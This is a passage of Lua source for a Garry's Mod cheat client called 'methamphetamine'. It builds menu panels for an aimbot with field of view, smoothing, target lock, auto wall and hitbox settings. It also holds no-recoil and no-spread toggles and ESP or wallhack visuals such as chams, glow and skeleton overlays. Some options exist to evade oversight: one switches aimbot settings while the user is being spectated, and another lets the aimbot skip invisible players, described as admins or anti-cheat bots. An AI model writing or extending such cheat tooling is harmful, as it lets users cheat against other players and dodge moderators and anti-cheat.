--options.ignorepnl.ignore:SetTall(20) 146 | options.ignorepnl.ignore:SetLabel("When Spectated") 147 | options.ignorepnl.ignore:Dock(LEFT) 148 | options.ignorepnl.ignore:AddOption("Toggle",{ 149 | panel = "methamphetamine.checkbox", 150 | text = "Change on Spectation", 151 | tooltip = "Forces aimbot settings to the ones below while being spectated", 152 | }) 153 | options.ignorepnl.ignore:AddOption("ToggleAimbot",{ 154 | panel = "methamphetamine.checkbox", 155 | text = "Enabled", 156 | tooltip = "Enables the aimbot.", 157 | }) 158 | options.ignorepnl.ignore:AddOption("Toggle3",{ 159 | panel = "methamphetamine.slider", 160 | text = "Change on Spectation", 161 | tooltip = "Forces aimbot settings to the ones below while being spectated", 162 | max = 10 163 | }) 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | self.accuracy = self:Add("methamphetamine.panel") 172 | self.accuracy:Dock(LEFT) 173 | self.accuracy:SetPos(0,7) 174 | self.accuracy.lblpnl = self.accuracy:Add("Panel") 175 | self.accuracy.lblpnl:Dock(TOP) 176 | self.accuracy.lblpnl:SetTall(23) 177 | self.accuracy.lblpnl.Paint = function(pnl,w,h) 178 | surface.SetDrawColor( methamphetamine.colors.border ) 179 | surface.DrawRect(5,h-1,w-10,1) 180 | end 181 | self.accuracy.label = self.accuracy.lblpnl:Add("DLabel") 182 | self.accuracy.label:Dock(BOTTOM) 183 | self.accuracy.label:SetText( "Accuracy" ) 184 | self.accuracy.label:SetFont( methamphetamine.default.font ) 185 | self.accuracy.label:SetTextColor( methamphetamine.colors.text ) 186 | self.accuracy.label:DockMargin(8,0,0,0) 187 | self.accuracy.label:SizeToContents() 188 | local accuracy = self.accuracy 189 | 190 | accuracy.nos = accuracy:Add("Panel") 191 | accuracy.nos:Dock(TOP) 192 | accuracy.nos:SetTall(20) 193 | accuracy.nos:DockMargin(0,4,0,1) 194 | accuracy.nospread = accuracy.nos:Add("methamphetamine.checkbox") 195 | accuracy.nospread:SetLabel("No Spread") 196 | accuracy.nospread:MethToolTip("Just a placebo unfortunately") 197 | accuracy.nospread:SetState( methamphetamine.mods["Aim"].Nospread ) 198 | accuracy.nospread:SetPos(8,0) 199 | accuracy.nospread:SetSize(20,20) 200 | accuracy.nospread.OnToggle = function(pnl,state) 201 | methamphetamine.mods["Aim"].NoSpread = state 202 | end 203 | accuracy.nospread:Configure("Aim","NoSpread") 204 | 205 | 206 | accuracy.nor = accuracy:Add("Panel") 207 | accuracy.nor:Dock(TOP) 208 | accuracy.nor:SetTall(20) 209 | accuracy.nor:DockMargin(0,1,0,1) 210 | accuracy.norecoil = accuracy.nor:Add("methamphetamine.checkbox") 211 | accuracy.norecoil:SetLabel("No Recoil") 212 | accuracy.norecoil:MethToolTip("Shit barely works with cw\nI will need to make it more reliable later.") 213 | accuracy.norecoil:SetState( methamphetamine.mods["Aim"].Norecoil ) 214 | accuracy.norecoil:SetPos(8,0) 215 | accuracy.norecoil:SetSize(20,20) 216 | accuracy.norecoil.OnToggle = function(pnl,state) 217 | methamphetamine.mods["Aim"].NoRecoil = state 218 | end 219 | accuracy.norecoil:Configure("Aim","NoRecoil") 220 | 221 | accuracy.recoilcontrol = accuracy:Add("Panel") 222 | accuracy.recoilcontrol:Dock(TOP) 223 | accuracy.recoilcontrol:SetTall(35) 224 | --accuracy.recoilcontrol:DockPadding(8,0,8,0) 225 | accuracy.recoilcontrol:DockMargin(8,1,8,1) 226 | accuracy.recoilcontrollbl = accuracy.recoilcontrol:Add("DLabel") 227 | accuracy.recoilcontrollbl:Dock(TOP) 228 | accuracy.recoilcontrollbl:SetText("Recoil Control") 229 | accuracy.recoilcontrollbl:SetTextColor(methamphetamine.colors.text) 230 | accuracy.recoilcontrollbl:SetFont(methamphetamine.default.font) 231 | accuracy.recoilcontrollbl:SizeToContents() 232 | accuracy.recoilcontrol = accuracy.recoilcontrol:Add("methamphetamine.slider") 233 | accuracy.recoilcontrol:SetMax(1.5) 234 | accuracy.recoilcontrol:SetRound(false) 235 | accuracy.recoilcontrol:Dock(TOP) 236 | accuracy.recoilcontrol:SetTall(20) 237 | accuracy.recoilcontrol:SetValue( methamphetamine.mods["Aim"].RecoilControl ) 238 | accuracy.recoilcontrol.OnValueChanged = function(pnl,frac) 239 | methamphetamine.mods["Aim"].RecoilControl = frac*5 240 | end 241 | accuracy.recoilcontrol:Configure("Aim","RecoilControl") 242 | 243 | 244 | accuracy.smo = accuracy:Add("Panel") 245 | accuracy.smo:Dock(TOP) 246 | accuracy.smo:SetTall(35) 247 | --accuracy.smo:DockPadding(8,0,8,0) 248 | accuracy.smo:DockMargin(8,1,8,1) 249 | accuracy.smolbl = accuracy.smo:Add("DLabel") 250 | accuracy.smolbl:Dock(TOP) 251 | accuracy.smolbl:SetText("Smoothing") 252 | accuracy.smolbl:SetTextColor(methamphetamine.colors.text) 253 | accuracy.smolbl:SetFont(methamphetamine.default.font) 254 | accuracy.smolbl:SizeToContents() 255 | accuracy.smooth = accuracy.smo:Add("methamphetamine.slider") 256 | accuracy.smooth:SetMax(50) 257 | accuracy.smooth:Dock(TOP) 258 | accuracy.smooth:SetTall(20) 259 | accuracy.smooth:SetValue( methamphetamine.mods["Aim"].Smooth ) 260 | accuracy.smooth.OnValueChanged = function(pnl,frac) 261 | methamphetamine.mods["Aim"].Smooth = frac*50 262 | end 263 | accuracy.smooth:Configure("Aim","Smooth") 264 | 265 | accuracy.jit = accuracy:Add("Panel") 266 | accuracy.jit:Dock(TOP) 267 | accuracy.jit:SetTall(35) 268 | --accuracy.jit:DockPadding(8,0,8,0) 269 | accuracy.jit:DockMargin(8,1,8,1) 270 | accuracy.jitlbl = accuracy.jit:Add("DLabel") 271 | accuracy.jitlbl:Dock(TOP) 272 | accuracy.jitlbl:SetText("Jittering") 273 | accuracy.jitlbl:SetTextColor(methamphetamine.colors.text) 274 | accuracy.jitlbl:SetFont(methamphetamine.default.font) 275 | accuracy.jitlbl:SizeToContents() 276 | accuracy.jittering = accuracy.jit:Add("methamphetamine.slider") 277 | accuracy.jittering:SetMax(10) 278 | accuracy.jittering:Dock(TOP) 279 | accuracy.jittering:SetValue(methamphetamine.mods["Aim"].Jittering) 280 | accuracy.jittering:SetTall(20) 281 | accuracy.jittering.OnValueChanged = function(pnl,frac) 282 | methamphetamine.mods["Aim"].Jittering = frac*50 283 | end 284 | accuracy.jittering:Configure("Aim","Jittering") 285 | 286 | accuracy.hitbox = accuracy:Add("Panel") 287 | accuracy.hitbox:Dock(TOP) 288 | accuracy.hitbox:SetTall(35) 289 | accuracy.hitbox:DockMargin(8,1,8,1) 290 | accuracy.hitboxlabel = accuracy.hitbox:Add("DLabel") 291 | accuracy.hitboxlabel:Dock(TOP) 292 | accuracy.hitboxlabel:SetText("Hitbox") 293 | accuracy.hitboxlabel:SetTextColor(methamphetamine.colors.text) 294 | accuracy.hitboxlabel:SetFont(methamphetamine.default.font) 295 | accuracy.hitboxlabel:SizeToContents() 296 | accuracy.hitbox = accuracy.hitbox:Add("methamphetamine.dropdown") 297 | accuracy.hitbox:AddChoice("Head", function() methamphetamine.mods["Aim"].Limb = "Head" end) 298 | accuracy.hitbox:AddChoice("Hitscan", function() methamphetamine.mods["Aim"].Limb = "Spine" end) 299 | accuracy.hitbox:AddChoice("Body", function() methamphetamine.mods["Aim"].Limb = "Spine" end) 300 | accuracy.hitbox:SetValue( methamphetamine.mods["Aim"].Limb ) 301 | accuracy.hitbox:Dock(TOP) 302 | accuracy.hitbox:SetTall(20) 303 | accuracy.smooth:Configure("Aim","Smooth") 304 | 305 | 306 | self.target = self:Add("methamphetamine.panel") 307 | self.target:Dock(LEFT) 308 | self.target.lblpnl = self.target:Add("Panel") 309 | self.target.lblpnl:Dock(TOP) 310 | self.target.lblpnl:SetTall(23) 311 | self.target.lblpnl.Paint = function(pnl,w,h) 312 | surface.SetDrawColor( methamphetamine.colors.border ) 313 | surface.DrawRect(5,h-1,w-10,1) 314 | end 315 | self.target.label = self.target.lblpnl:Add("DLabel") 316 | self.target.label:Dock(BOTTOM) 317 | self.target.label:SetText( "Target" ) 318 | self.target.label:SetFont( methamphetamine.default.font ) 319 | self.target.label:SetTextColor( methamphetamine.colors.text ) 320 | self.target.label:DockMargin(8,0,0,0) 321 | self.target.label:SizeToContents() 322 | local target = self.target 323 | 324 | 325 | target.fov = target:Add("Panel") 326 | target.fov:Dock(TOP) 327 | target.fov:SetTall(35) 328 | --target.fov:DockPadding(8,0,8,0) 329 | target.fov:DockMargin(8,4,8,1) 330 | target.fovlbl = target.fov:Add("DLabel") 331 | target.fovlbl:Dock(TOP) 332 | target.fovlbl:SetText("FoV") 333 | target.fovlbl:SetTextColor(methamphetamine.colors.text) 334 | target.fovlbl:SetFont(methamphetamine.default.font) 335 | target.fovlbl:SizeToContents() 336 | target.fov = target.fov:Add("methamphetamine.slider") 337 | target.fov:SetMax(180) 338 | target.fov:Dock(TOP) 339 | target.fov:SetTall(20) 340 | target.fov:SetValue( methamphetamine.mods["Aim"].FOV ) 341 | target.fov.OnValueChanged = function(pnl,frac) 342 | methamphetamine.mods["Aim"].FOV = frac*180 343 | end 344 | target.fov:Configure("Aim","FOV") 345 | 346 | 347 | target.TLock = target:Add("Panel") 348 | target.TLock:Dock(TOP) 349 | target.TLock:SetTall(20) 350 | target.TLock:DockMargin(0,1,0,1) 351 | target.TargetLock = target.TLock:Add("methamphetamine.checkbox") 352 | target.TargetLock:SetLabel("Target Lock") 353 | target.TargetLock:MethToolTip("Makes the aimbot aim at one target unless dead or not visible.") 354 | target.TargetLock:SetPos(8,0) 355 | target.TargetLock:SetState( methamphetamine.mods["Aim"].TargetLock ) 356 | target.TargetLock:SetSize(20,20) 357 | target.TargetLock.OnToggle = function(pnl,state) 358 | methamphetamine.mods["Aim"].TargetLock = state 359 | end 360 | target.TargetLock:Configure("Aim","TargetLock") 361 | 362 | target.priority = target:Add("Panel") 363 | target.priority:Dock(TOP) 364 | target.priority:SetTall(35) 365 | target.priority:DockMargin(8,1,8,1) 366 | target.prioritylabel = target.priority:Add("DLabel") 367 | target.prioritylabel:Dock(TOP) 368 | target.prioritylabel:SetText("Priority") 369 | target.prioritylabel:SetTextColor(methamphetamine.colors.text) 370 | target.prioritylabel:SetFont(methamphetamine.default.font) 371 | target.prioritylabel:SizeToContents() 372 | target.priority = target.priority:Add("methamphetamine.dropdown") 373 | target.priority:AddChoice("Closest Distance", function() methamphetamine.mods["Aim"].Priority = "Closest Distance" end) 374 | target.priority:AddChoice("Least Health", function() methamphetamine.mods["Aim"].Priority = "Least Health" end) 375 | target.priority:AddChoice("Most Health", function() methamphetamine.mods["Aim"].Priority = "Most Health" end) 376 | target.priority:AddChoice("Field of View", function() methamphetamine.mods["Aim"].Priority = "Field of View" end) 377 | target.priority:Dock(TOP) 378 | target.priority:SetTall(20) 379 | target.priority:SetValue( methamphetamine.mods["Aim"].Priority ) 380 | target.priority:Configure("Aim","Priority") 381 | 382 | target.DOK = target:Add("Panel") 383 | target.DOK:Dock(TOP) 384 | target.DOK:SetTall(20) 385 | target.DOK:DockMargin(0,1,0,1) 386 | target.DOK = target.DOK:Add("methamphetamine.checkbox") 387 | target.DOK:SetLabel("Disable on Kill") 388 | target.DOK:MethToolTip("Makes the aimbot aim at one target unless dead or not visible.") 389 | target.DOK:SetPos(8,0) 390 | target.DOK:SetState( methamphetamine.mods["Aim"].DisableOnKill ) 391 | target.DOK:SetSize(20,20) 392 | target.DOK.OnToggle = function(pnl,state) 393 | methamphetamine.mods["Aim"].DisableOnKill = state 394 | end 395 | target.DOK:Configure("Aim","DisableOnKill") 396 | 397 | target.AutoWall = target:Add("Panel") 398 | target.AutoWall:Dock(TOP) 399 | target.AutoWall:SetTall(20) 400 | target.AutoWall:DockMargin(0,1,0,1) 401 | target.AutoWall = target.AutoWall:Add("methamphetamine.checkbox") 402 | target.AutoWall:SetLabel("Auto Wall") 403 | target.AutoWall:MethToolTip("Makes the aimbot aim at one target unless dead or not visible.") 404 | target.AutoWall:SetPos(8,0) 405 | target.AutoWall:SetState( methamphetamine.mods["Aim"].AutoWall ) 406 | target.AutoWall:SetSize(20,20) 407 | target.AutoWall.OnToggle = function(pnl,state) 408 | methamphetamine.mods["Aim"].AutoWall = state 409 | end 410 | target.AutoWall:Configure("Aim","Autowall") 411 | 412 | target.ignore = target:Add("Panel") 413 | target.ignore:Dock(TOP) 414 | target.ignore:SetTall(20) 415 | target.ignore:DockMargin(0,1,0,1) 416 | target.ignore.ignore = target.ignore:Add("methamphetamine.miscdrop") 417 | target.ignore.ignore:SetPos(8,0) 418 | target.ignore.ignore:SetLabel("Ignore") 419 | target.ignore.ignore:AddOption("Friends",{ 420 | panel = "methamphetamine.checkbox", 421 | text = "Friends", 422 | tooltip = "Makes the Aimbot not target players who are marked as friends.", 423 | OnToggle = function(pnl,state) 424 | methamphetamine.mods["Aim"]["Ignore"]["Friends"] = state 425 | end, 426 | Configure = {"Aim","Ignore","Friends"} 427 | }) 428 | target.ignore.ignore:AddOption("Party Members",{ 429 | panel = "methamphetamine.checkbox", 430 | text = "Party Members", 431 | tooltip = "Makes the Aimbot not target players who are in your party.", 432 | OnToggle = function(pnl,state) 433 | methamphetamine.mods["Aim"]["Ignore"]["Party"] = state 434 | end, 435 | Configure = {"Aim","Ignore","Party"} 436 | }) 437 | target.ignore.ignore:AddOption("Same Team",{ 438 | panel = "methamphetamine.checkbox", 439 | text = "Same Team", 440 | tooltip = "Makes the Aimbot not target players who are the same team as you.", 441 | OnToggle = function(pnl,state) 442 | methamphetamine.mods["Aim"]["Ignore"]["SameTeam"] = state 443 | end, 444 | Configure = {"Aim","Ignore","SameTeam"} 445 | 446 | }) 447 | target.ignore.ignore:AddOption("Selected Teams",{ 448 | panel = "methamphetamine.checkbox", 449 | text = "Selected Teams", 450 | tooltip = "Makes the Aimbot not target players on the teams you've selected on the Teams List.", 451 | OnToggle = function(pnl,state) 452 | methamphetamine.mods["Aim"]["Ignore"]["SelectedTeams"] = state 453 | end, 454 | Configure = {"Aim","Ignore","SelectedTeams"} 455 | }) 456 | target.ignore.ignore:AddOption("Opposite Teams",{ 457 | panel = "methamphetamine.checkbox", 458 | text = "Opposite Teams", 459 | tooltip = "Makes the Aimbot not target players who are on any other team but yours..", 460 | OnToggle = function(pnl,state) 461 | methamphetamine.mods["Aim"]["Ignore"]["OppositeTeam"] = state 462 | end, 463 | Configure = {"Aim","Ignore","OppositeTeam"} 464 | }) 465 | target.ignore.ignore:AddOption("Noclipping",{ 466 | panel = "methamphetamine.checkbox", 467 | text = "Noclipping", 468 | tooltip = "Makes the Aimbot not target players who are no-clipping.", 469 | OnToggle = function(pnl,state) 470 | methamphetamine.mods["Aim"]["Ignore"]["Noclipping"] = state 471 | end, 472 | Configure = {"Aim","Ignore","Noclipping"} 473 | }) 474 | target.ignore.ignore:AddOption("Transparent",{ 475 | panel = "methamphetamine.checkbox", 476 | text = "Transparent", 477 | tooltip = "Makes the Aimbot not target players who are transparent (Typically spawn protected).", 478 | OnToggle = function(pnl,state) 479 | methamphetamine.mods["Aim"]["Ignore"]["Transparent"] = state 480 | end, 481 | Configure = {"Aim","Ignore","Transparent"} 482 | }) 483 | target.ignore.ignore:AddOption("Invisible",{ 484 | panel = "methamphetamine.checkbox", 485 | text = "Invisible", 486 | tooltip = "Makes the Aimbot not target players who are invisible. (Typically admins or anti-cheat bots)", 487 | OnToggle = function(pnl,state) 488 | methamphetamine.mods["Aim"]["Ignore"]["Invisible"] = state 489 | end, 490 | Configure = {"Aim","Ignore","Invisible"} 491 | }) 492 | 493 | end 494 | 495 | function PANEL:PerformLayout(w,h) 496 | self.options:SetWide( 192 ) 497 | self.options:DockMargin(0,0,4,0) 498 | 499 | self.accuracy:SetWide( 215 ) 500 | self.accuracy:DockMargin(0,0,0,0) 501 | 502 | self.target:SetWide( 205 ) 503 | self.target:DockMargin(4,0,0,0) 504 | end 505 | 506 | PANEL.Paint = nil 507 | 508 | vgui.Register("methamphetamine.aim.aimbot", PANEL ) 509 | 510 | 511 | local PANEL = {} 512 | AccessorFunc(PANEL,"m_color","Color") 513 | function PANEL:Init() 514 | self.box = self:Add("DColorMixer") 515 | self.box:SetSize( 230-16,215-16 ) 516 | self.box:SetPos(8,8) 517 | self.box:SetPalette(false) 518 | self.box:SetAlphaBar(false) 519 | self.box:SetWangs( false ) 520 | self.box.OnFocusChanged = function(pnl,gained) 521 | if gained then return end 522 | timer.Simple(0,function() 523 | local panel = vgui.GetKeyboardFocus() 524 | if panel.isTooltip or panel == pnl then return end 525 | pnl:Remove() 526 | end) 527 | end 528 | 529 | self.bigcircle = methamphetamine.circles.New( CIRCLE_OUTLINED,8 , 0,0 ) 530 | self.box.HSV.Knob.Paint = function(pnl,w,h) 531 | if pnl:IsHovered() and input.IsMouseDown( MOUSE_LEFT ) then 532 | surface.DrawCircle( w/2 , h/2 , w/2 , 255,255,255,255 ) 533 | else 534 | surface.DrawCircle( w/2 , h/2 , 4 , 255,255,255,255 ) 535 | end 536 | end 537 | self.box.HSV.OnUserChanged = function(pnl,col) 538 | self:SetColor( col ) 539 | if pnl.OnColourChanged then 540 | pnl:OnColourChanged( col ) 541 | end 542 | end 543 | 544 | self.hex = self:Add("Panel") 545 | self.hex:Dock(BOTTOM) 546 | self.hex:SetTall(20) 547 | self.hex:DockMargin(8,1,8,8) 548 | self.hex.Paint = function(pnl,w,h) 549 | surface.SetDrawColor( methamphetamine.colors.buttonidle ) 550 | surface.DrawRect(0,0,w,h) 551 | local col = self:GetColor() 552 | draw.SimpleText( string.upper(string.format("#%x%x%x", col.r,col.g,col.b )) , methamphetamine.default.font , 4, h/2, methamphetamine.colors.text , 0 , 1 ) 553 | end 554 | 555 | 556 | self.rgb = self:Add("Panel") 557 | self.rgb:Dock(BOTTOM) 558 | self.rgb:DockPadding(8,0,8,0) 559 | self.rgb:SetTall(20) 560 | 561 | local w = (230-16)/4 562 | 563 | 564 | self.rgb.r = self.rgb:Add("DPanel") 565 | self.rgb.r:Dock(LEFT) 566 | self.rgb.r:DockMargin(0,1,1,1) 567 | self.rgb.r:SetWide(w) 568 | self.rgb.r.Paint = function(pnl,w,h) 569 | 570 | surface.SetDrawColor( methamphetamine.colors.buttonidle ) 571 | surface.DrawRect(0,0,w,h) 572 | draw.SimpleText( string.format("R: %d", self:GetColor().r ), methamphetamine.default.font , 4,h/2,methamphetamine.colors.text,0,1 ) 573 | end 574 | 575 | self.rgb.g = self.rgb:Add("DPanel") 576 | self.rgb.g:Dock(LEFT) 577 | self.rgb.g:DockMargin(0,1,1,1) 578 | self.rgb.g:SetWide(w) 579 | self.rgb.g.Paint = function(pnl,w,h) 580 | surface.SetDrawColor( methamphetamine.colors.buttonidle ) 581 | surface.DrawRect(0,0,w,h) 582 | draw.SimpleText( string.format("G: %d", self:GetColor().g ), methamphetamine.default.font , 4,h/2,methamphetamine.colors.text,0,1 ) 583 | end 584 | 585 | self.rgb.b = self.rgb:Add("DPanel") 586 | self.rgb.b:Dock(LEFT) 587 | self.rgb.b:DockMargin(0,1,1,1) 588 | self.rgb.b:SetWide(w) 589 | self.rgb.b.Paint = function(pnl,w,h) 590 | surface.SetDrawColor( methamphetamine.colors.buttonidle ) 591 | surface.DrawRect(0,0,w,h) 592 | draw.SimpleText( string.format("B: %d", self:GetColor().b ), methamphetamine.default.font , 4,h/2,methamphetamine.colors.text,0,1 ) 593 | end 594 | 595 | self.rgb.a = self.rgb:Add("DPanel") 596 | self.rgb.a:Dock(LEFT) 597 | self.rgb.a:DockMargin(0,1,0,1) 598 | self.rgb.a:SetWide(w-1) 599 | self.rgb.a.Paint = function(pnl,w,h) 600 | surface.SetDrawColor( methamphetamine.colors.buttonidle ) 601 | surface.DrawRect(0,0,w,h) 602 | draw.SimpleText( string.format("A: %d", self:GetColor().a ), methamphetamine.default.font , 4,h/2,methamphetamine.colors.text,0,1 ) 603 | end 604 | 605 | end 606 | 607 | vgui.Register("methamphetamine.colorbox",PANEL, "methamphetamine.panel") 608 | 609 | local PANEL = {} 610 | AccessorFunc(PANEL,"m_defaultCol","Color") 611 | function PANEL:Init() 612 | if !self:GetColor() then self:SetColor( color_white ) end 613 | self:SetText("") 614 | end 615 | 616 | function PANEL:Paint(w,h) 617 | local col = self:GetColor() 618 | surface.SetDrawColor( col.r,col.g,col.b ) 619 | surface.DrawRect(0,0,w,h) 620 | end 621 | 622 | function PANEL:OnCursorEntered() 623 | if IsValid( self.preivew ) then self.preview:Remove() end 624 | local col = color_white 625 | self.preview = vgui.Create("methamphetamine.panel") 626 | 627 | self.preview.isPreview = true 628 | local x,y = input.GetCursorPos() 629 | self.preview:SetPos( x + 20 , y ) 630 | self.preview:SetSize(230,60) 631 | self.preview:MakePopup() 632 | self.preview.col = self.preview:Add("Panel") 633 | self.preview.col:SetPos(8,8) 634 | self.preview.col:SetSize(44,44) 635 | self.preview.col.Paint = function(pnl,w,h) 636 | local col = self:GetColor() 637 | surface.SetDrawColor( col.r, col.g, col.b, 255 ) 638 | surface.DrawRect( 0,0,w,h ) 639 | end 640 | self.preview.hex = self.preview:Add("DLabel") 641 | self.preview.hex:SetPos( 60 , 8 ) 642 | self.preview.hex:SetFont( methamphetamine.default.font ) 643 | self.preview.hex:SetTextColor( methamphetamine.colors.text ) 644 | 645 | self.preview.rgb = self.preview:Add("DLabel") 646 | self.preview.rgb:SetPos( 60 , 22 ) 647 | self.preview.rgb:SetFont( methamphetamine.default.font ) 648 | self.preview.rgb:SetTextColor( methamphetamine.colors.text ) 649 | 650 | self.preview.ratio = self.preview:Add("DLabel") 651 | self.preview.ratio:SetPos( 60 , 35 ) 652 | self.preview.ratio:SetFont( methamphetamine.default.font ) 653 | self.preview.ratio:SetTextColor( methamphetamine.colors.text ) 654 | 655 | end 656 | function PANEL:OnCursorExited() 657 | if IsValid( self.preview ) then self.preview:Remove() return end 658 | end 659 | function PANEL:Think() 660 | if IsValid( self.preview ) then 661 | self.preview:MoveToFront() 662 | local col = self:GetColor() 663 | print( col ) 664 | self.preview.hex:SetText( "#" .. string.upper(string.format("#%x%x%x", col.r, col.g, col.b )) ) 665 | self.preview.rgb:SetText( string.format("R:%d, G:%d, B:%d, A:%d", col.r,col.g,col.b,col.a) ) 666 | self.preview.ratio:SetText( string.format("(%.3f, %.3f, %.3f, %.3f)", col.r/255,col.g/255,col.b/255,col.a/255) ) 667 | self.preview.ratio:SizeToContents() 668 | self.preview.rgb:SizeToContents() 669 | self.preview.hex:SizeToContents() 670 | 671 | end 672 | end 673 | 674 | function PANEL:OnCursorMoved() 675 | if not IsValid( self.preview ) then return end 676 | local x,y = input.GetCursorPos() 677 | self.preview:SetPos( x + 20 , y ) 678 | end 679 | function PANEL:DoClick() 680 | if IsValid( self.menu ) then self.menu:SetVisible( not self.menu:IsVisible() ) self.menu:MakePopup() local x,y = input.GetCursorPos() self.menu:SetPos(x+1,y+1) return end 681 | if IsValid(self.preview) then self.preview:Remove() end 682 | local x,y = input.GetCursorPos() 683 | self.menu = vgui.Create("methamphetamine.colorbox") 684 | self.menu:SetSize( 230,260 ) 685 | self.menu:SetPos( x+1, y+1 ) 686 | self.menu:MakePopup() 687 | self.menu:SetColor( self:GetColor() ) 688 | self.menu.box.HSV.OnUserChanged = function(pnl,col) 689 | self.menu:SetColor( col ) 690 | self:SetColor( col ) 691 | self:OnColourChanged( col ) 692 | end 693 | self.menu.OnFocusChanged = function(pnl,gained) 694 | if gained then return end 695 | timer.Simple(0,function() 696 | local panel = vgui.GetKeyboardFocus() 697 | if not IsValid( panel ) then return end 698 | if panel.isTooltip or panel == pnl or panel.isPreview then return end 699 | pnl:SetVisible( false ) 700 | end) 701 | end 702 | end 703 | 704 | function PANEL:OnColourChanged( colour ) 705 | 706 | end 707 | vgui.Register("methamphetamine.colorselector", PANEL, "DButton" ) 708 | 709 | local PANEL = {} 710 | 711 | function PANEL:Init() 712 | self.m_Text = "" 713 | self.toggle = self:Add("methamphetamine.checkbox") 714 | self.toggle:Dock(LEFT) 715 | self.toggle:DockMargin(2,0,2,0) 716 | self.toggle:SetWide( 20 ) 717 | self.toggle:SetLabel("Box") 718 | 719 | self.activecol = self:Add("methamphetamine.colorselector") 720 | self.activecol:Dock(RIGHT) 721 | self.activecol:SetWide(20) 722 | self.activecol:DockMargin(1,1,1,1) 723 | self.activecol.OnColourChanged = function( panel, colour ) 724 | self:OnColourChanged( colour ) 725 | end 726 | 727 | self.espcol = self:Add("methamphetamine.dropdown") 728 | self.espcol:Dock(RIGHT) 729 | self.espcol:SetWide(101) 730 | self.espcol:DockMargin(0,0,0,0) 731 | self.espcol:HideDiamond(true) 732 | 733 | 734 | self.esptype = self:Add("methamphetamine.dropdown") 735 | self.esptype:Dock(RIGHT) 736 | self.esptype:SetWide(106) 737 | self.esptype:HideDiamond(true) 738 | self.esptype:DockMargin(2,0,2,0) 739 | end 740 | 741 | function PANEL:AddChoice( name , func ) 742 | self.esptype:AddChoice( name , func ) 743 | end 744 | 745 | function PANEL:SetText( txt ) 746 | self.m_Text = txt 747 | self.toggle:SetLabel( txt ) 748 | end 749 | 750 | function PANEL:GetText() 751 | return self.m_Text 752 | end 753 | 754 | function PANEL:OnColourChanged( colour ) 755 | 756 | end 757 | function PANEL:SetColor( col ) 758 | 759 | end 760 | vgui.Register("methamphetamine.espoption", PANEL) 761 | 762 | local espdata = { 763 | presets = { 764 | { 765 | { 766 | name = "2D [None]", 767 | }, 768 | { 769 | name = "2D [Inner]", 770 | }, 771 | { 772 | name = "2D [Outer]", 773 | }, 774 | { 775 | name = "2D [Both]", 776 | }, 777 | { 778 | name = "Cornered [None]", 779 | }, 780 | { 781 | name = "Cornered [Inner]", 782 | }, 783 | { 784 | name = "3D [None]", 785 | }, 786 | }, 787 | { 788 | { 789 | name = "Top", 790 | }, 791 | { 792 | name = "Left", 793 | }, 794 | { 795 | name = "Bottom", 796 | }, 797 | { 798 | name = "Right", 799 | }, 800 | }, 801 | { 802 | { 803 | name = "Flat", 804 | }, 805 | { 806 | name = "Texture", 807 | }, 808 | { 809 | name = "Wallhack", 810 | }, 811 | { 812 | name = "Wireframe", 813 | }, 814 | }, 815 | { 816 | { 817 | name = "Selected Color", 818 | }, 819 | { 820 | name = "Rainbow", 821 | }, 822 | }, 823 | { 824 | { 825 | name = "Selected Color", 826 | }, 827 | { 828 | name = "Team Color", 829 | }, 830 | { 831 | name = "Health Color", 832 | }, 833 | { 834 | name = "Rainbow", 835 | } 836 | } 837 | }, 838 | } 839 | espdata.options = { 840 | { 841 | name = "Box", 842 | options = espdata.presets[1], 843 | }, 844 | { 845 | name = "Health [Txt]", 846 | options = espdata.presets[2], 847 | }, 848 | { 849 | name = "Health [Bar]", 850 | options = espdata.presets[2], 851 | }, 852 | { 853 | name = "Weapon", 854 | options = espdata.presets[2], 855 | 856 | }, 857 | { 858 | name = "Chams [P.]", 859 | options = espdata.presets[3], 860 | colors = espdata.presets[4] 861 | 862 | }, 863 | { 864 | name = "Chams [W.]", 865 | options = espdata.presets[3], 866 | colors = espdata.presets[4] 867 | 868 | }, 869 | { 870 | name = "Glow", 871 | options = espdata.presets[3], 872 | 873 | }, 874 | { 875 | name = "Name", 876 | options = espdata.presets[2], 877 | 878 | }, 879 | { 880 | name = "Distance", 881 | options = espdata.presets[2], 882 | 883 | }, 884 | { 885 | name = "Team", 886 | options = espdata.presets[2], 887 | 888 | }, 889 | { 890 | name = "Rank", 891 | options = espdata.presets[2], 892 | 893 | }, 894 | { 895 | name = "Skeleton", 896 | options = { 897 | { name = "None" } 898 | }, 899 | }, 900 | } 901 | 902 | 903 | local PANEL = {} 904 | 905 | function PANEL:Init() 906 | methamphetamine.mods["ESP"].masterToggleKeybind = 0 907 | methamphetamine.mods["ESP"]["colors"] = { 908 | ["Box"] = color_white, 909 | ["Health [Txt]"] = color_white, 910 | ["Health [Bar]"] = color_white, 911 | ["Chams [P.]"] = color_white, 912 | ["Chams [W.]"] = color_white, 913 | ["Glow"] = color_white, 914 | ["Name"] = color_white, 915 | ["Distance"] = color_white, 916 | ["Team"] = color_white, 917 | ["Rank"] = color_white, 918 | ["Skeleton"] = color_white, 919 | ["Weapon"] = color_white, 920 | } 921 | methamphetamine.mods["ESP"]["enabled"] = { 922 | ["Box"] = false, 923 | ["Health [Txt]"] = false, 924 | ["Health [Bar]"] = false, 925 | ["Chams [P.]"] = false, 926 | ["Chams [W.]"] = false, 927 | ["Glow"] = false, 928 | ["Name"] = false, 929 | ["Distance"] = false, 930 | ["Team"] = false, 931 | ["Rank"] = false, 932 | ["Skeleton"] = false, 933 | ["Weapon"] = false, 934 | } 935 | methamphetamine.mods["ESP"]["types"] = { 936 | ["Box"] = "2D [None]", 937 | ["Health [Txt]"] = "Top", 938 | ["Name"] = "Top", 939 | ["Distance"] = "Top", 940 | ["Team"] = "Top", 941 | ["Rank"] = "Top", 942 | ["Weapon"] = "Top", 943 | } 944 | methamphetamine.mods["ESP"]["colortype"] = { 945 | ["Box"] = "Selected Color", 946 | ["Health [Txt]"] = "Selected Color", 947 | ["Health [Bar]"] = "Selected Color", 948 | ["Chams [P.]"] = "Selected Color", 949 | ["Chams [W.]"] = "Selected Color", 950 | ["Glow"] = "Selected Color", 951 | ["Name"] = "Selected Color", 952 | ["Distance"] = "Selected Color", 953 | ["Team"] = "Selected Color", 954 | ["Rank"] = "Selected Color", 955 | ["Skeleton"] = "Selected Color", 956 | ["Weapon"] = "Selected Color", 957 | } 958 | methamphetamine.mods["ESP"]["Range"] = 3000 959 | 960 | 961 | self.players = self:Add("methamphetamine.panel") 962 | self.players.espdata = espdata 963 | self.players:Dock(LEFT) 964 | self.players:SetPos(0,7) 965 | self.players.lblpnl = 